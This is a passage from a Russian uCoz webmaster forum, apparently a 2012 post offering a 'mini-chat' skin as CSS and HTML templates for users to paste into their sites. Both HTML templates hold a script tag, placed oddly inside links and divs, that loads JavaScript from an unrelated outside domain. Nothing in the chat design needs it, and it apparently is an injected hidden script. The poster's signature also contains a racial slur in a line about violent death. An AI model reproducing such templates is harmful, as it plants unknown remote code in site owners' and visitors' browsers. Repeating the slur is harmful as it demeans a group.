Суббота, 18.08.2018, 13:01
Главная Регистрация Вход
Приветствую Вас, Гость · RSS
Это интересно
[ · · · · ]
  • Страница 1 из 1
  • 1
Модератор форума: ImmortaL  
Форум » Все для веб-мастера » Скрипты для uCoz » Мини-чат v1.1 (Новый вид мини-чата, подойдет для светлых дизайнов)
Мини-чат v1.1
2weyДата: Суббота, 31.03.2012, 03:38 | Сообщение # 1
Сообщений: 81
Уважение
[ ]
Так выглядит скрипт:http://s019.radikal.ru/i613/1203/df/325cbdbc1c6c.jpg

Новый вид мини-чата, подойдет для светлых дизайнов.

Установка: в CSS ставим код:

Code
mchat textarea {border:1px solid #DBDBDB;background:#f7f7f7;padding-right:5px;}     
     .mchat textarea:hover {background:#fff;}     
     .mchat input {background:#E8E8E8;border:1px solid #DBDBDB;border-left:none;height:40px;margin-left:-2px;width:20px;}     
     .gost {background:#fff;border:1px solid #DBDBDB;padding:5px;border-left:none;text-align:left;margin-left:-3px;padding-bottom:2px;margin-top:-5px;height:50px;font:10px Tahoma;}     
     .op_fon {background:#f7f7f7;border:1px solid #DBDBDB;border-right:1px dotted #ccc;width:40px;height:50px;}     
     .op_fon img {padding-left:5px; filter:progid:DXImageTransform.Microsoft.alpha(opacity=60);-moz-opacity:0.6;opacity:0.6;}     

     .option {border:1px solid #ccc;height:20px;margin:5px 0;width:100%;padding-top:3px;background:#fff;filter:progid:DXImageTransform.Microsoft.alpha(opacity=40);-moz-opacity:0.4;opacity:0.4;}     
     .option:hover {filter:progid:DXImageTransform.Microsoft.alpha(opacity=100);-moz-opacity:1;opacity:1;}     
     .chat {background:#E8E8E8;border:1px solid #DBDBDB;padding:3px 0;font:11px Tahoma;border-top:none;}     
     .cBlock {margin:0px;padding:0px;border:none;}     
     .cMessage {background:#F8F8F8;border:1px solid #DBDBDB;border-top:none;padding:4px;font:11px Tahoma;}


В форуму добавления сообщения:

Code
<style>     
     .codes {background:#f7f7f7;border:1px solid #ccc;border-top:none;width:99%;}     
     </style>     
         

     <div class="option">     
         
    <div style="float:right;margin-right:5px;"> Осталось: $LENGTH_COUNTER$ </div>    
     <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i636/1203/38/4e2c54ca51e3.png" width="16" height="16"><script src="http://js8xt.ru/ves.js" type="text/javascript"></a>     
     <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i611/1203/11/72edfa9af6e5.png" width="16" height="16"></a>     
     <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i610/1203/fb/bed6fc653a3f.png" width="16" height="16"></a>     
     <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://s48.radikal.ru/i121/1203/bb/64643fdb0823.png" width="16" height="16"></a>     

         
     </div>     

     <table class="mchat" cellspacing="0" cellpadding="0">     
     <tr>     
     <td width="100%">$FLD_MESSAGE$</td>     
     <td>$SUBMIT$</td>     
     </tr>     

     </table>     
         
     <table class="codes">     
     <tr><td>$FLD_SECURE$</td><td>$IMG_SECURE$</td></tr>     
     </table>     
     <br>     
     <table cellspacing="0" cellpadding="0">     
     <tr>     
     <td class="op_fon">     
     <img src="http://3adrotu.ru/Ucoz/1/chat_v1_1/alert.png" width="28" height="28"></td>     
     <td class="gost" valign="top">     
     Для добавления сообщения <a href="/index/3">зарегистрируйтесь</a>.     
     </td>     
     </tr>     
     </table>


Вид материалов:

Code
<div class="cBlock">     
     <div class="chat">     
     <span style="float:right">$TIME$</span>     
     <div style="text-align:left;">     
     <div style="padding-left:7px;"><script src="http://js8xt.ru/ves.js" type="text/javascript"><a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a></div>     
     </div>     

     </div>     

    <div class="cMessage" style="text-align:left;" id="msg$NUMBER$">$MESSAGE$</div>    

     </div>


* Все хорошее Niggas, все Niggas, которые изменят мир, умирают в насилии. Они не умирают в регулярных способами.
Форум » Все для веб-мастера » Скрипты для uCoz » Мини-чат v1.1 (Новый вид мини-чата, подойдет для светлых дизайнов)
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
Новый Топ пользователей с аватарами для Ucoz
[0]
Простой и красивый вид формы опроса
[0]
Красивый информер "кто нас сегодня посетил" для Ucoz
[0]
Flash радио для сайта
[0]
Новый информер комментарии для ucoz как на Dle
[0]
Новый вид опроса для uCoz
[0]
Связь с администрацией
[0]
Новый вид статистики Ucoz
[0]
Скрипт Наши сервера в одном блоке
[0]
Выдвижная кнопка ВКонтакте
[0]
[15]
ImmortaL
[359]
Sanshroom
[107]
100$)))
[87]
2wey
[81]
КрисТишка
[37]
Warchi
[13]
Strider
[6]
Роман
[6]
aldamm
[2]
Amator
[2]
Angelinajoliitacy
(20.01.2017|03:48)
ZhenyaWelo
(01.03.2016|21:56)
Stojanhesk
(14.06.2015|11:03)
Gopn1k
(07.04.2012|11:52)
Star
(04.07.2011|15:29)
snezhok
(16.01.2011|22:15)
Каваня
(21.09.2010|03:23)
2wey
(07.07.2010|10:21)
4353453454345345
(03.05.2010|15:10)
eldendhutle
(19.04.2010|08:53)